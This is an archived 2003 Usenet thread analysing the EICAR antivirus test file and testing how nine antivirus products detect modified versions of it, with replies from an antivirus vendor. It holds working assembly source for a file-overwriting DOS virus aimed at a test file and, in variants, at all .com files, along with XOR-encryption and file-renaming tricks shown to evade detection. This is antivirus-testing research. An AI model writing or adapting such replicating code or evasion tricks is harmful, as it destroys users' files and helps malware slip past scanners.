Likes Likes:  0
Resultaten 1 tot 7 van de 7
Geen
  1. #1
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Let's have fun with EICAR test file


    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Let's have fun with EICAR test file

    This text is about eicar.com, a famous industry-standard test file designed
    to check antivirus software working status. We'll first discuss fairly
    in detail of what it's made, after which we'll "play" a little with it.
    You are supposed to have a reasonable background with COM files and assembly
    language programming.

    They call this Introduction

    EICAR stands for "European Institute for Computer Antivirus Research".
    What they are involved in won't require a great work of your brain (go
    to www.eicar.org otherwise)...

    A few years ago, they released a file, cleverly named eicar.com, designed
    to help users to check their own antivirus (AV) software. Its official
    name is "EICAR Standard Antivirus Test File" (ESATF). Here are some pieces
    of information about it:

    - - It's short, only 68 (44h) bytes in length. You won't spend too much
    time or money downloading it. Furthermore, you can duplicate and distribute
    it quickly.
    - - It's made up of exclusively printable ASCII characters. Thus you can
    easily create it with any plain text editor if you have no mean to download
    it. Here's its contents:

    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

    Figure 1. ESATF ASCII form.

    As you can see, there are solely capital letters, digits or punctuation
    marks; no space or character from outer space. The third symbol is the
    upper case letter "O", not zero.

    - - It's not a virus at all (using a true one to test your AV would be
    really irresponsible), just a legit and safe DOS COM file! When running,
    it only prints the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string on your
    screen (more details about its implementation below). The choice of COM
    file is just a practical consideration: a way to be sure to "run" correctly
    from DOS OSes to the last Windows OSes...

    Every AV should react when facing ESATF. It's a now well known industry-
    standard test file and all credible running AV must "detect" it. Actually,
    it should behave "as if" ESATF was a virus: appropriate warning message
    (some display something like "File infected with EICAR-Test-File" but
    they ought to be less stressful; ESATF isn't a virus and AVs shouldn't
    frighten novices) locking access to the file, putting in quarantine,
    etc. Note it's a safe and easy way to ensure yourself your AV is really
    and correctly working (maybe the opportunity to observe your first digital
    "viral" incident)... and that's what ESATF has been designed for!

    EICAR provides also two zipped versions of ESATF in order to test dispositions
    of AVs to deal with zip archive files. One is the "code" seen above (Figure
    1) just zipped. The last one is the zipped version... zipped one more
    time (a double zip archive). Therefore, you can assess the AV unzip level
    as well.

    Looking inside ESATF guts

    Here's the disassembled code of eicar.com. Traditionally, memory locations
    are specified using the segmentffset notation, but as segment values
    don't matter within the context of this article, they are omitted:


    Step Offset Opcodes Instruction

    01 0100 58 pop ax
    02 0101 354F21 xor ax,214Fh
    03 0104 50 push ax
    04 0105 254041 and ax,4140h
    05 0108 50 push ax
    06 0109 5B pop bx
    07 010A 345C xor al,5Ch
    08 010C 50 push ax
    09 010D 5A pop dx
    10 010E 58 pop ax
    11 010F 353428 xor ax,2834h
    12 0112 50 push ax
    13 0113 5E pop si
    14 0114 2937 sub [bx],si
    15 0116 43 inc bx
    16 0117 43 inc bx
    17 0118 2937 sub [bx],si
    18 011A 7D24 jge 0140
    19 011C 45494341
    522D5354
    414E4441
    52442D41
    4E544956
    49525553
    2D544553
    542D4649
    4C452124 DB "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
    20 0140 48 dec ax
    21 0141 2B482A sub cx,[bx+si+2A]

    Figure 2. ESATF disassembling.

    It seems to be a weird code just for printing a string on the screen
    uh?! But don't forget one requirement from the authors: it must be possible
    to create the file using a plain text editor, so they had to use only
    alphabetic symbols, digits and common punctuation marks. To remove any
    doubt, lower case letters and space were excluded. Thus, only subsets
    of ASCII characters are available, ranging from 21h (exclamation mark:
    !) to 60h (single opening quotation mark: ') and from 7Bh (opening brace:
    {) to 7Dh (closing brace: }).

    Here are ESATF characters hexadecimal codes:


    00 01 02 03 04 05 06 07

    00 58 35 4F 21 50 25 40 41
    01 50 5B 34 5C 50 5A 58 35
    02 34 28 50 5E 29 37 43 43
    03 29 37 7D 24 45 49 43 41
    04 52 2D 53 54 41 4E 44 41
    05 52 44 2D 41 4E 54 49 56
    06 49 52 55 53 2D 54 45 53
    07 54 2D 46 49 4C 45 21 24
    08 48 2B 48 2A

    Figure 3. ESATF hexadecimal codes.

    In a more classic way, we may write ESATF like this (Microsoft MASM code):

    01 .386
    02 .MODEL TINY
    03
    04 CODE SEGMENT USE16
    05
    06 ORG 100h
    07
    08 @START: jmp @GO
    09
    10 msg DB "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
    11
    12 @GO: mov DX,OFFSET msg
    13 mov ax,0900h
    14 int 21h
    15 int 20h
    16
    17 CODE ENDS
    18
    19 END @START
    Figure 4. ESATF-Like source code.

    When running, result is the same as with ESATF, but the assembled final
    file has a smaller size (48 bytes). Here is the disassembling of ESATF-
    Like:


    Step Offset Opcodes Instruction

    01 0100 EB24 jmp 0126h
    02 0102 45494341
    522D5354
    414E4441
    52442D41
    4E544956
    49525553
    2D544553
    542D4649
    4C452124 DB "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
    03 0126 BA0201 mov dx,0102h
    04 0129 B80009 mov ax,0900h
    05 012C CD21 int 21h
    06 012E CD20 int 20h

    Figure 5. ESATF-Like disassembling.

    Unfortunately, you can notice plenty of hexadecimal codes out of the
    "allowed" range [21h-60h,7Bh-7Dh], particularly interrupts calls opcodes!
    That's why ESATF designers chose to use a very common trick from the
    "viral scene" to encode it: self-modifying code...

    Let's debug (or spelunking ESATF)!

    For an easier reading of the following, keep Figure 2 close to your eyes.
    Once "launched", eicar.com is loaded in memory at address 100h, just
    after the 256 (100h) bytes in size PSP (Program Segment Prefix). The
    first instruction is:


    01 0100 58 pop ax

    In English, we move two bytes of the stack from the SS:[SP] address into
    the AX register. Initially, SP is set to FFFEh and the 16 bits value
    stored there is 0. Thus, we just move 0 into AX.
    AX = 0 and SP = 0.


    02 0101 354F21 xor ax,214Fh

    0 XOR 214Fh = 214Fh. Opcodes show the 214Fh value "inverted" (4F21);
    it's just because Intel microprocessors use Little Endian convention
    to store bytes in memory: the least significant byte (also called low
    byte) is stored first, at the lowest address, while the most significant
    byte (high byte) is stored at the highest address.
    AX = 214Fh and SP = 0.


    03 0104 50 push ax

    SP is decremented by 2 and AX contents (214Fh) pushed at SS:[SP]. Well,
    because it's a memory location, the actual value stored is 4F21h; in
    order to keep things simple, I cheat a bit...
    AX = 214Fh, SP = FFFEh and SS:[SP] = 214Fh.


    04 0105 254041 and ax,4140h

    214Fh AND 4140h = 140h. It's the address of the first instruction in
    memory after the "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" string (go back
    to Figure 2). Once again, be aware of the Little Endian order in memory.
    AX = 140h, SP = FFFEh and SS:[SP] = 214Fh.


    05 0108 50 push ax

    A stack operation more!
    AX = 140h, SP = FFFCh, SS:[SP] = 140h and SS:[SP+2] = 214Fh.


    06 0109 5B pop bx

    Using a pop instruction just after a push one is simply equivalent to
    a mov instruction.
    AX = 140h, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.


    07 010A 345C xor al,5Ch

    AX holds 140h, hence AH = 00000001b and AL = 01000000b. AL XOR 5Ch =
    01000000b XOR 01011100b = 00011100b = 1Ch. AX = 0000000100011100b = 11Ch.
    Notice it's the memory offset of the string to be displayed (check it
    in Figure 2).
    AX = 11Ch, BX = 140h, SP = FFFEh and SS:[SP] = 214Fh.


    08 010C 50 push ax
    09 010D 5A pop dx

    DX now contains the ESATF warning string address. Compare with code in
    Figure 4 and you should grasp what ESATF intends to build in memory...
    AX = 11Ch, BX = 140h, DX = 11Ch, SP = FFFEh and SS:[SP] = 214Fh.


    10 010E 58 pop ax

    AX = 214Fh, BX = 140h, DX = 11Ch and SP = 0.


    11 010F 353428 xor ax,2834h

    AX XOR 2834h = 214Fh XOR 2834h = 97Bh.
    AX = 97Bh, BX = 140h, DX = 11Ch and SP = 0.


    12 0112 50 push ax
    13 0113 5E pop si

    AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.


    14 0114 2937 sub [bx],si

    There are a few tricks here! First, the two bytes at [bx] location (address
    140h) are 48h and 2Bh (look step 20 opcode and first byte of step 21
    opcode in Figure 2); But remember Little Endian order! Hence, the 16
    bits value returned is 2B48h and the instruction above is equivalent
    to: [140h] = 2B48h - 097Bh = 21CDh... and still because Little Endian,
    the actual value written at 140h is CD21h, that is, opcodes of the int
    21h instruction!

    All we did until now can easily be summarized:


    mov dx,OFFSET Msg
    mov ax,097Bh
    int 21h

    Nothing more! If you compare with ESATF-Like code in Figure 4, the little
    difference is that AL holds the 7Bh value instead of 0. It's of no consequence,
    because only AH contents (sub-function number) matters.
    AX = 97Bh, BX = 140h, DX = 11Ch, SI = 97Bh and SP = 0.


    15 0116 43 inc bx
    16 0117 43 inc bx

    BX = BX+2 = 142h. It's the address of the last two bytes in memory of
    eicar.com (again, refer to Figure 2).
    AX = 97Bh, BX = 142h, DX = 11Ch, SI = 97Bh and SP = 0.


    17 0118 2937 sub [bx],si

    The same stratagem seen at step 14 above is used once more! At address
    142h, the 16 bits value stored is 482Ah; once reverted we have 2A48h.
    Hence, 2A48h - SI = 2A48h - 97Bh = 20CDh (actually stored CD20h at 142h
    location). These two bytes (CD20h) are opcodes of the int 20h instruction,
    the traditional way to end a COM program... and the last instruction
    of our ESATF-Like program!


    18 011A 7D24 jge 0140

    After step 17 processing, ZF flag is not set (just use the DOS Debug
    tool and trace eicar.com; at step 18 you'll see NZ value for ZF flag),
    then we simply jump to 140h in memory, where the "first" instruction
    of ESATF (int 21h) is; actually, we start a "new" code, the same as in
    Figure 4. Et voilà! Simple and easy uh?

    So what?

    Well, after this brief and cool introduction, it's time to have fun!
    The idea is: ESATF is not a virus, but it's used "as if" it was a real
    one. So what if we alter its code giving it true viral behaviors? What
    if we just "play" a little with its code? As you will see... weird stuff!

    Okay, some will say "Hey dude, ESATF is not designed to test and stress
    AVs algorithms, but to check if AVs are working...". I know that, but
    I partially agree with them; after all, ESATF is used to "check", so,
    in order to get a "full" checking, I think it should be treated like
    a true virus, even if it's not supposed to "evolve" like the real ones
    do. To check or not to check... Then, using ESATF is a cool and legal
    way to learn how AVs do their job: we won't disassemble any AV or break
    any licence agreements in our tests! The nice part is to watch how heuristics
    work with a code in principle detected by its signature (somehow, a way
    to assess the limits of this method). Above all, just remind the title
    of this text...

    First of all, to play... we need AVs! I'm not a specialist about AVs
    at all, then I just chose the "famous" ones (at least, those I heard
    about). I went to the Web to download trial versions of these products;
    if there was no one available, the online version is used. Here is the
    list:


    Acronym Name Version Company

    AAV AVG Antivirus 7.0.124 Grisoft
    BAV Bitdefender 7.1 Softwin
    CAV PC-cillin 10.02.1072 Trend Micro
    FAV F-Prot 3.13a Frisk Software International
    KAV Kaspersky Antivirus 4.0.5.37 Kaspersky
    NAV Norton Antivirus 9.07.24d Symantec
    PAV Panda ActiveScan 4.2 (online) Panda Software
    RAV RAV Antivirus 8.6.105 GeCAD Software
    VAV McAfee VirusScan 7.02.6000 Networks Associates

    Figure 6. AVs hired for fun...

    ESATF compliance

    We simply ask AVs to check the real eicar.com zipped into a file called
    eicar1.zip:


    AV Message

    AAV EICAR_Test.
    BAV EICAR-STANDARD-TEST-FILE.
    CAV Eicar_test_file.
    FAV EICAR_Test_File (exact).
    KAV EICAR-Test-File.
    NAV EICAR Test String.
    PAV EICAR-AV-TEST-FILE.
    RAV EICAR_Test_File.
    VAV EICAR test file.

    Figure 7. Compliance test.

    Good news! As I said above, ESATF (even zipped) is a well known industry-
    standard test file... It's another legitimate reason to use ESATF for
    our games: everyone knows it!

    Fun stuff - Part I

    Now, let's play with the character string in ESATF. Instead of "EICAR-
    STANDARD-ANTIVIRUS-TEST-FILE!" we use "EICAR-STANDING-ANTIVIRUS-TEST-
    FILE!"; only the last three letters of the word "STANDARD" have been
    modified ("ARD" replaced by "ING"), the size of the virus is still the
    same, instructions too. The test file name is eicar2.zip. Here are the
    results (when an AV says "No viral code detected" or something like,
    we mention N/D for "not detected"):


    AV Message

    AAV EICAR_Test ( modified ).
    BAV N/D.
    CAV N/D.
    FAV EICAR_Test_File.unknown?
    KAV N/D.
    NAV N/D.
    PAV EICAR-AV-TEST-FILE.
    RAV N/D.
    VAV N/D.

    Figure 8. String altered test.

    Only three AVs are aware of the alteration! Are others using the original
    ESATF string as signature? If so, it's not very clever (should they learn
    about wildcard string? For the "fun", they could have search for the
    EICAR? pattern!)...

    Some can say that ESATF altered... is not ESATF! Blind AVs are right
    then? I don't think so. Tons of viruses variants are simply alterations
    of some bytes of the genuine virus. For example, often, lamers just modify
    the copyright or the name of the author. Therefore, it's not a good method
    to detect viruses using fixed bytes that are never executed: most of
    the time, it leads to absurdities (recently, a guy showed that NAV detected
    any file containing the string "Eddie lives...somewhere in time!" as
    being infected by the Dark Avenger virus...). This kind of privilege
    (probably used to speed up the scanning process) shouldn't be granted,
    even to ESATF! I guess AVs ought to "see" a variant. On the other hand,
    68 bytes don't give us many choices for a signature...

    At last, a strange idea comes to my mind: do some AVs bypass stages if
    a "known" virus doesn't look like what it's supposed to be? I mean, if
    a virus isn't, for example, supposed to be encrypted, is this possibility
    purely bypassed during scanning? In other words, does it mean that only
    signatures of viruses known to be encrypted are taken in account while
    AVs are processing encrypted parts of a suspicious code? If so, detection
    of known viruses variants is confronted with a strong limitation...

    Fun stuff - Part II

    Let's go one step further, what about emulation? In the first test, we
    just add a NOP (90h) instruction at the beginning of ESATF. Of course,
    we must take in consideration that this byte shifts addresses forward
    in memory! Fortunately, we only need to increment one byte of ESATF:
    at step 4 in Figure 2, we must replace 254041 opcodes values with 254141:


    AV Message

    AAV N/D.
    BAV N/D.
    CAV N/D.
    FAV New or modified variant of Trivial.
    KAV N/D.
    NAV N/D.
    PAV N/D.
    RAV N/D.
    VAV N/D.

    Figure 9. NOP test.

    One AV show some interest for our test... but F-Prot is on the bad path;
    Trivial is a family of short in size COM infectors damaging one single
    file at a time. Nothing to do with ESATF!

    In the second test, we bypass ESATF: we simply jump to the end of the
    code where an int 20h instruction ends the process. ESATF is never executed
    but is in working order! Some external code could easily call it (with
    Debug, load the following code and trace/run it starting from the 102h
    address: ESATF is functional!):

    01 .386
    02 .MODEL TINY
    03
    04 CODE SEGMENT USE16
    05
    06 ORG 100h
    07
    08 @START: jmp @END
    09 pop ax
    10 xor ax,214Fh
    11 push ax
    12 and ax,4142h
    13 push ax
    14 pop bx
    15 xor al,5Ch
    16 push ax
    17 pop dx
    18 pop ax
    19 xor ax,2834h
    20 push ax
    21 pop si
    22 sub [bx],si
    23 inc bx
    24 inc bx
    25 sub [bx],si
    26 jge @RUN
    27 DB "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$"
    28 @RUN: dec ax
    29 sub cx,[bx+si+2Ah]
    30 @END: int 20h
    31
    32 CODE ENDS
    33
    34 END @START
    Figure 10. ESATF "bypassed" source code.


    AV Message

    AAV N/D.
    BAV N/D.
    CAV N/D.
    FAV N/D.
    KAV N/D.
    NAV N/D.
    PAV N/D.
    RAV N/D.
    VAV N/D.

    Figure 11. JMP test.

    No one cares! Does it mean that emulation and heuristics are a de luxe
    tool? What kind of code can trigger their reaction? Note that if we don't
    "adjust" ESATF code (making it inoperative then), Figure 11 results are
    the same. However, PC-cillin and RAV react to the NOP test; at least,
    you can guess what signature they use for ESATF :-).

    Fun stuff - Part III

    A lot of viruses use encryption. Let's do the same with ESATF! In order
    to keep things simple, we just XOR each of its bytes with the value 55h:


    00 01 02 03 04 05 06 07

    00 0D 60 1A 74 05 70 15 14
    01 05 0E 61 09 05 0F 0D 60
    02 61 7D 05 0B 7C 62 16 16
    03 7C 62 28 71 10 1C 16 14
    04 07 78 06 01 14 1B 11 14
    05 07 11 78 14 1B 01 1C 03
    06 1C 07 00 06 78 01 10 06
    07 01 78 13 1C 19 10 74 71
    08 1D 7E 1D 7F

    Figure 12. ESATF XORed with 55h.

    Now, let's give ESATF a true suspicious viral behavior: a decryption
    loop. Here is the code:

    01 .386
    02 .MODEL TINY
    03
    04 CODE SEGMENT USE16
    05
    06 ORG 100h
    07
    08 @START: jmp @GO
    09 @EICAR:
    10 DB 0Dh,60h,1Ah,74h,05h,70h,15h,14h
    11 DB 05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
    12 DB 61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
    13 DB 7Ch,62h,28h,71h,10h,1Ch,16h,14h
    14 DB 07h,78h,06h,01h,14h,1Bh,11h,14h
    15 DB 07h,11h,78h,14h,1Bh,01h,1Ch,03h
    16 DB 1Ch,07h,00h,06h,78h,01h,10h,06h
    17 DB 01h,78h,13h,1Ch,19h,10h,74h,71h
    18 DB 1Dh,7Eh,1Dh,7Fh
    19 @GO: mov cx,44h
    20 mov si,@EICAR
    21 mov di,@START
    22 @DECRYPT: lodsb
    23 xor al,55h
    24 stosb
    25 loop @DECRYPT
    26 JMP @START
    27
    28 CODE ENDS
    29
    30 END @START
    Figure 13. ESATF encrypted source code.

    Notice that after the decryption process, ESATF original code is in memory,
    beginning at address 100h; that is, if AVs are using a bit of emulation,
    they won't be fooled:


    AV Message

    AAV N/D.
    BAV N/D.
    CAV N/D.
    FAV New or modified variant of Trivial.
    KAV EICAR-Test-File.
    NAV N/D.
    PAV N/D.
    RAV EICAR_TEST_FILE.
    VAV N/D.

    Figure 14. Encryption test.

    Actually, just three AVs do their job (but F-Prot is still wrong)! As
    a matter of interest, this article is following a discussion I had on
    the fr.comp.securite.virus newsgroup; the first time I published the
    Figure 13 source code, KAV didn't react. But someone send it to Kaspersky's
    and a few hours later the detection worked...

    I find this a little bit funny. For sure, we must note the speed of reaction
    and the importance to warn AV editors, but, however, what if we use thousand
    of different "modified" ESATF? Do they add signatures indefinitely?

    Let's try with a 67h XORed version: KAV finds ESATF again. Okay! what
    with an ORed crypted version then? This time, KAV is defeated. Did they
    take care of XOR encryption only? Strange strategy...

    Fun stuff - Part IV

    Well, now... the great show: file search and replication parts are included!
    The final code is similar to what we found in the past inside true lamer
    COM overwriter viruses:

    01 .386
    02 .MODEL TINY
    03
    04 CODE SEGMENT USE16
    05
    06 ORG 100h
    07
    08 @START: jmp @GO
    09 @EICAR:
    10 DB 0Dh,60h,1Ah,74h,05h,70h,15h,14h
    11 DB 05h,0Eh,61h,09h,05h,0Fh,0Dh,60h
    12 DB 61h,7Dh,05h,0Bh,7Ch,62h,16h,16h
    13 DB 7Ch,62h,28h,71h,10h,1Ch,16h,14h
    14 DB 07h,78h,06h,01h,14h,1Bh,11h,14h
    15 DB 07h,11h,78h,14h,1Bh,01h,1Ch,03h
    16 DB 1Ch,07h,00h,06h,78h,01h,10h,06h
    17 DB 01h,78h,13h,1Ch,19h,10h,74h,71h
    18 DB 1Dh,7Eh,1Dh,7Fh
    19 FileName DB "goat.com",0
    20 @GO: mov ax,4E00h
    21 mov cx,00100111b
    22 mov dx,OFFSET FileName
    23 int 21h
    24 jc @RUN
    25
    26 mov ah,3Dh
    27 mov al,10010010b
    28 mov dx,09Eh
    29 int 21h
    30 jc @RUN
    31 mov bx,ax
    32
    33 mov cx,@END-@START
    34 mov dx,@START
    35 mov ax,4000h
    36 int 21h
    37
    38 mov ax,3E00h
    39 int 21h
    40
    41 @RUN: mov cx,44h
    42 mov si,@EICAR
    43 mov di,@START
    44 @DECRYPT: lodsb
    45 xor al,55h
    46 stosb
    47 loop @DECRYPT
    48 JMP @START
    49 @END:
    50
    51 CODE ENDS
    52
    53 END @START
    Figure 15. ESATF "overwriter" source code.

    It's a very simple program! First, we look for a COM file; in order to
    restrict the virus action, we search for a file called goat.com (just
    create an empty file and save it with that name) in the directory where
    eicar.com is. It's the unique possible target. Then, we open this file
    and copy our virus code into it. Actually, we overwrite the target contents;
    it's clearly a destruction action! Finally, we close the file and run
    ESATF code after its decryption.

    You may think "well, overwriters viruses are known for ages, heuristics
    will defeat this kind of code". After all, looking for a file and replication
    are not very discreet treatments... Look:


    AV Message

    AAV N/D.
    BAV N/D.
    CAV N/D.
    FAV New or modified variant of Trivial.
    KAV N/D.
    NAV N/D.
    PAV N/D.
    RAV EICAR_TEST_FILE.
    VAV A virus was detected.

    Figure 16. Specific overwriter test.

    Note that McAfee detects a virus but is unable to name it. RAV still
    recognizes ESATF... but it goofed up! ESATF is "just" the payload now.
    It's not a good idea to keep EICAR name because it could mislead the
    user. Even not really accurate, McAfee approch is more "safe". F-Prot
    finds a Trivial variant; this time, it's a good answer.

    Well, some will say that the code above is not very dangerous, it has
    no chance to spread wide. AVs don't react because a code writting into
    a file is very common... I could reply that COM files are rarely used
    to store data but it's better to give another test!

    This time, let's replace "goat.com" by "*.com" at step 19 in Figure 15
    source code:


    AV Message

    AAV Found unknown virus .EXE.COM.
    BAV Is infected with Trivial.136.Gen.
    CAV N/D.
    FAV New or modified variant of Trivial.
    KAV Type_Trivial.
    NAV Bloodhound.DirActCOM.
    PAV N/D.
    RAV Trivial-based.136.
    VAV Univ.ow/e.

    Figure 17. Blind overwriter test.

    Phew! This time heuristics do their duty: if code appears to be really
    harmful, they shout. Note that NAV uses a very strange naming. Once connected
    to their "security response" page, I only get a "No additional information."...
    not very explicit!

    Our file was named eicar6_a.com. Just let's rename it eicar6_b.abc. You
    know what? NAV and McAfee see nothing now! Detection based on file extension?
    AVs are amazingly fascinating. Definitely.

    A last one? Still at step 19, we now write ").com" instead of "*.com".
    At step 23, we insert:

    23 mov bx,dx
    24 inc byte ptr [bx]

    It's simply a nod in the direction of ESATF authors: its our turn now
    to "play" in memory! Here are the results:


    AV Message

    AAV Found unknown virus .EXE.COM.
    BAV N/D.
    CAV N/D.
    FAV New or modified variant of Trivial.
    KAV Type_Trivial.
    NAV Bloodhound.DirActCOM.
    PAV N/D.
    RAV Trivial-based.140.
    VAV Univ.ow/e.

    Figure 18. Specific overwriter test.

    Bitdefender gives up (but it was predictable in the light of some previous
    tests) and RAV shows an impressive collection of Trivial variants...

    It's time to wrap up!

    Well, we saw a lot of stuff but I'll be concise!

    - - Detection of known viruses variants using only signatures has its limits.
    - - Obviously, there are as many algorithms as there are AVs. But no one
    can claim the absolute truth.
    - - Emulation isn't always used or inneficient.
    - - Even with known viruses, AVs aren't absolutely reliable; just modify
    a few bytes and they are blind.
    - - In case of true harmful code, heuristics are aware. But there are some
    breachs...
    - - Signatures aren't always optimal.
    - - AVs have weird behaviors: often it's all or nothing, a good identification
    or... the void. Above all, why not a common naming for viruses?
    - - Viruses research is a hard topic, whether it is for known or unknown
    viruses.
    - - Is RAV a good choice for Microsoft (don't kick my head!)?

    Notes

    - - The OS used for this article was Windows XP Home Edition with full
    privileges :-).
    - - Believe me dear friends, it's really hard to use several AVs at the
    same time (for sure, next time, I'll only use online versions)! Moreover,
    a lot of work must be done to simplify their configuration: I spent
    too much time scratching my head to simply understand some settings!
    What about novices in computer security?

    Bibliography

    "The Anti-Virus test file", at www.eicar.org.
    The original explanations about ESATF.

    "An Examination of the EICAR Standard AV Test Program", by The Starman.
    Thus, I'm not the only one who dared to dig into ESATF?

    Credits

    Deep thanks to Tweakie, alias "you should add this test" and Frédéric
    Bonroy.
    Musical inspiration: Cannibal Corpse.

    Enjoy, cya!


    v. 1.0 - 06/27/2003 AMcD


    - -
    -----BEGIN PGP SIGNATURE-----
    Note: This signature can be verified at https://www.hushtools.com/verify
    Version: Hush 2.3

    wkYEARECAAYFAj78f2IACgkQvWk44C4omKXJFQCgr2FW1TW5uN 68iFALF+y0Yu3tdkUA
    njgLcyHNwQ+ZHVD1wb0twumMbZOn
    =XQyB
    -----END PGP SIGNATURE-----




    Concerned about your privacy? Follow this link to get
    FREE encrypted email: https://www.hushmail.com/?l=2

    Free, ultra-private instant messaging with Hush Messenger
    https://www.hushmail.com/services.ph...essenger&l=434

    Big $$$ to be made with the HushMail Affiliate Program:
    https://www.hushmail.com/about.php?s...ffiliate&l=427

  2. #2
    Fridrik Skulason
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    <keepitsecret@hush.com> wrote in message news:<bdicd3$2meb$1@FreeBSD.csie.NCTU.edu.tw>...


    > AV Message


    >


    > AAV EICAR_Test ( modified ).


    > BAV N/D.


    > CAV N/D.


    > FAV EICAR_Test_File.unknown?


    > KAV N/D.


    > NAV N/D.


    > PAV EICAR-AV-TEST-FILE.


    > RAV N/D.


    > VAV N/D.


    >


    > Figure 8. String altered test.


    >


    > Only three AVs are aware of the alteration! Are others using the original


    > ESATF string as signature?


    They are actually following the standard. The EICAR file may be
    detected and reported as a virus, but many programs treat it as a
    special case. The reason is the following:

    When detecting viruses, it makes sense to detect slight variations
    too. Not so with EICAR - acctording to the standard it should be
    reported as the EICAR file, only if it is bit-by-bit identical to the
    original. In the above example, PAV (Panda) gets it wrong, but the
    other programs are right - they either don't report the file or report
    it as a modified version are somewhat right too.

    > Some can say that ESATF altered... is not ESATF! Blind AVs are right


    > then? I don't think so.


    But they are. This is how things are supposed to be...for EICAR - not
    for viruses in general.

    > Let's go one step further, what about emulation? In the first test, we


    > just add a NOP (90h) instruction at the beginning of ESATF. Of course,


    > we must take in consideration that this byte shifts addresses forward


    > in memory! Fortunately, we only need to increment one byte of ESATF:


    > at step 4 in Figure 2, we must replace 254041 opcodes values with 254141:


    >


    >


    > AV Message


    >


    > AAV N/D.


    > BAV N/D.


    > CAV N/D.


    > FAV New or modified variant of Trivial.


    > KAV N/D.


    > NAV N/D.


    > PAV N/D.


    > RAV N/D.


    > VAV N/D.


    >


    > Figure 9. NOP test.


    >


    > One AV show some interest for our test... but F-Prot is on the bad path;


    Actually, it is not. A few years ago somebody wrote a virus which
    started out just like the EICAR file, but had a jump at the end to
    typical Trivial-like code. Many anti-virus programs, including F-PROT
    actually detected that file as a new variant of EICAR, which was not
    acceptable, as
    it implied the file was harmless.

    We decided to do the following:

    If the file is exactly as it should be, it is reported as Eicar
    (exact).

    If the code seems to be unmodified, but the text string is different,
    report a new wariant of Eicar.

    If the code is different, report this as a variant of the Eicar-like
    Trivial virus, just to be on the safe side. This is what we are
    doing. F-PROT is detecting the modified file as a variant of the
    Trivial file.

    We believe this is most accurate, and at the same time it avoids
    misleading the user by calling something a variant of Eicar when it
    could be a (new) virus.

    > In the second test, we bypass ESATF: we simply jump to the end of the


    > code where an int 20h instruction ends the process. ESATF is never executed


    > but is in working order!
    >


    > No one cares!


    And quite accurately. The code is not executed - therefore the
    program is not viral - it is as simple as that. AV programs don't
    just do dumb scanning of files any more.

    > Figure 14. Encryption test.


    >


    > Actually, just three AVs do their job (but F-Prot is still wrong)!


    Not really, for the same reasons as mentionad above.

  3. #3
    AMcD
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    frisk@complex.is (Fridrik Skulason) wrote in message news:<fcd2fc13.0306280523.4c46fb7a@posting.google. com>...

    > > Only three AVs are aware of the alteration! Are others using the original
    > > ESATF string as signature?

    >
    > They are actually following the standard. The EICAR file may be
    > detected and reported as a virus, but many programs treat it as a
    > special case. The reason is the following:
    >
    > When detecting viruses, it makes sense to detect slight variations
    > too. Not so with EICAR - acctording to the standard it should be
    > reported as the EICAR file, only if it is bit-by-bit identical to the
    > original. In the above example, PAV (Panda) gets it wrong, but the
    > other programs are right - they either don't report the file or report
    > it as a modified version are somewhat right too.


    I don't clearly see on the EICAR page that AVs should avoid to apply
    real virus treatments to ESATF ;o)

    > > Some can say that ESATF altered... is not ESATF! Blind AVs are right

    >
    > > then? I don't think so.

    >
    > But they are. This is how things are supposed to be...for EICAR - not
    > for viruses in general.


    The question is: why not?

    > > Figure 9. NOP test.


    > > One AV show some interest for our test... but F-Prot is on the bad path;

    >
    > Actually, it is not. A few years ago somebody wrote a virus which
    > started out just like the EICAR file, but had a jump at the end to
    > typical Trivial-like code. Many anti-virus programs, including F-PROT
    > actually detected that file as a new variant of EICAR, which was not
    > acceptable, as
    > it implied the file was harmless.
    >
    > We decided to do the following:
    >
    > If the file is exactly as it should be, it is reported as Eicar
    > (exact).


    OK.

    > If the code seems to be unmodified, but the text string is different,
    > report a new wariant of Eicar.


    And it's the good way.

    > If the code is different, report this as a variant of the Eicar-like
    > Trivial virus, just to be on the safe side. This is what we are
    > doing. F-PROT is detecting the modified file as a variant of the
    > Trivial file.


    It's better when you have explanations from the author ;o).

    > We believe this is most accurate, and at the same time it avoids
    > misleading the user by calling something a variant of Eicar when it
    > could be a (new) virus.


    I agree.

    > > In the second test, we bypass ESATF: we simply jump to the end of the

    >
    > > code where an int 20h instruction ends the process. ESATF is never executed

    >
    > > but is in working order!
    > >

    >
    > > No one cares!

    >
    > And quite accurately. The code is not executed - therefore the
    > program is not viral - it is as simple as that. AV programs don't
    > just do dumb scanning of files any more.


    But the code is functional. I simply claim for a bit of emulation.

    > > Figure 14. Encryption test.


    > > Actually, just three AVs do their job (but F-Prot is still wrong)!

    >
    > Not really, for the same reasons as mentionad above.


    OK. Thanks for your explanations and your courtesy.

    CYA

  4. #4
    Fridrik Skulason
    Let's have fun with EICAR test file
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Let's have fun with EICAR test file

    arnold.mcdonald@free.fr (AMcD) wrote in message news:<e00a489e.0306291103.683f5d10@posting.google. com>...

    > I don't clearly see on the EICAR page that AVs should avoid to apply
    > real virus treatments to ESATF ;o)


    There is no dispute on how the Eicar file should be handled....the
    issue involves files that are "similar" to the Eicar file. When the
    file was
    originally created and given to EICAR for publication, we didn't
    really
    consider this issue, and different AV programs handle "slightly
    modified" files
    in different ways: Some will ignore them altogether, some will report
    them
    as variants of the Eicar file and others exhibit more complex
    behaviour.

    > > And quite accurately. The code is not executed - therefore the
    > > program is not viral - it is as simple as that. AV programs don't
